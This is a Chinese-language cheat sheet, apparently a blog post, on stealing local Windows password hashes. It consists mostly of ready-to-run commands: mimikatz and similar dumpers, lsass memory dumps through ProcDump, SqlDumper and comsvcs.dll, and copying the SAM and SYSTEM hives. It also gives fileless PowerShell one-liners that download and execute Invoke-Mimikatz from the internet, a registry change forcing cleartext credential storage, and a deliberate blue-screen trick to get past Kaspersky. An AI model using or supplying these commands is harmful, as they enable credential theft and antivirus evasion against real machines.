Windows本地hashdump备忘录

市面上可见到的读Windows本地密码的大多工具都是变则法子的去读lsass.exe这个密码的内存或者SAM数据库,然后从里面提取hash。所以有杀软的情况下读密码这事根本就不是工具免不免杀的问题,而是杀软有没有监控保护lsass.exe或SAM的问题,所以读本地密码条件可以总结为:

能正常访访问lsass.exe内存或SAM数据库。

常见工具

工具仅部分,通过以下操作可一键获取密码。

mimikatz

https://github.com/gentilkiwi/mimikatz

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"  "exit"

QuarksPwDump

https://github.com/quarkslab/quarkspwdump

QuarksPwDump.exe -dhl

wce

https://www.ampliasecurity.com/research/wcefaq.html

wce.exe -w

pwdump7

http://www.tarasco.org/security/pwdump_7/index.html

PwDump7.exe

LaZagne

https://github.com/AlessandroZ/LaZagne

laZagne_x86.exe windows

lsass内存dump

工具仅部分,通过以下操作可先获取到lsass内存文件,然后使用mimikatz可进一步读取密码。
参考命令:

mimikatz.exe"sekurlsa::minidump lsass.dmp""sekurlsa::logonPasswords full" "exit"

SharpDump

https://github.com/GhostPack/SharpDump

for /f  "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do SharpDump.exe %i

ProcDump

https://docs.microsoft.com/en-us/sysinternals/downloads/procdump

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

SqlDumper

https://support.microsoft.com/en-us/help/917825/use-the-sqldumper-exe-utility-to-generate-a-dump-file-in-sql-server

for /f  "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do Sqldumper.exe %i 0 0x01100

rundll32

https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/

for /f  "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump %i .\lsass.dmp full

关于SAM数据库

管理员执行:

reg save hklm\sam .\sam.hive&reg save hklm\system .\system.hive

然后将两个文件导入SAMInside并将NT-Hash复制出来去相关网站查询即可。(mimikatz也可以读)

关于无文件加载

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

读一下代码会发现都是peloader做的,同理可以把procdump做成psh实现无文件dump。

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TheKingOfDuck/hashdump/master/procdump/procdump.ps1');Invoke-Procdump64 -Args '-accepteula -ma lsass.exe lsass.dmp'"

关于2012以及win10之后的机器:

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

键值为1时Wdigest Auth保存明文口令,为0则不保存明文。修改为重新登录生效。

偏激的bypass卡巴读密码

卡巴以及小红伞均对lsass.exe进行了保护,导致微软出的两款工具以及他自己的kldumper都无法用于dump lsass。但是可以通过制造蓝屏来获取所有内存的文件MEMORY.DMP没然后在提出lsass进一步读取。

taskkill /f /im "wininit.exe"

可参考: https://www.mrwu.red/web/2000.html

总结

bypass av可以以卡巴为衡量标准,能过卡巴约等于过全部。

所以文件最终文件放在:

https://github.com/TheKingOfDuck/hashdump

也无风雨也无晴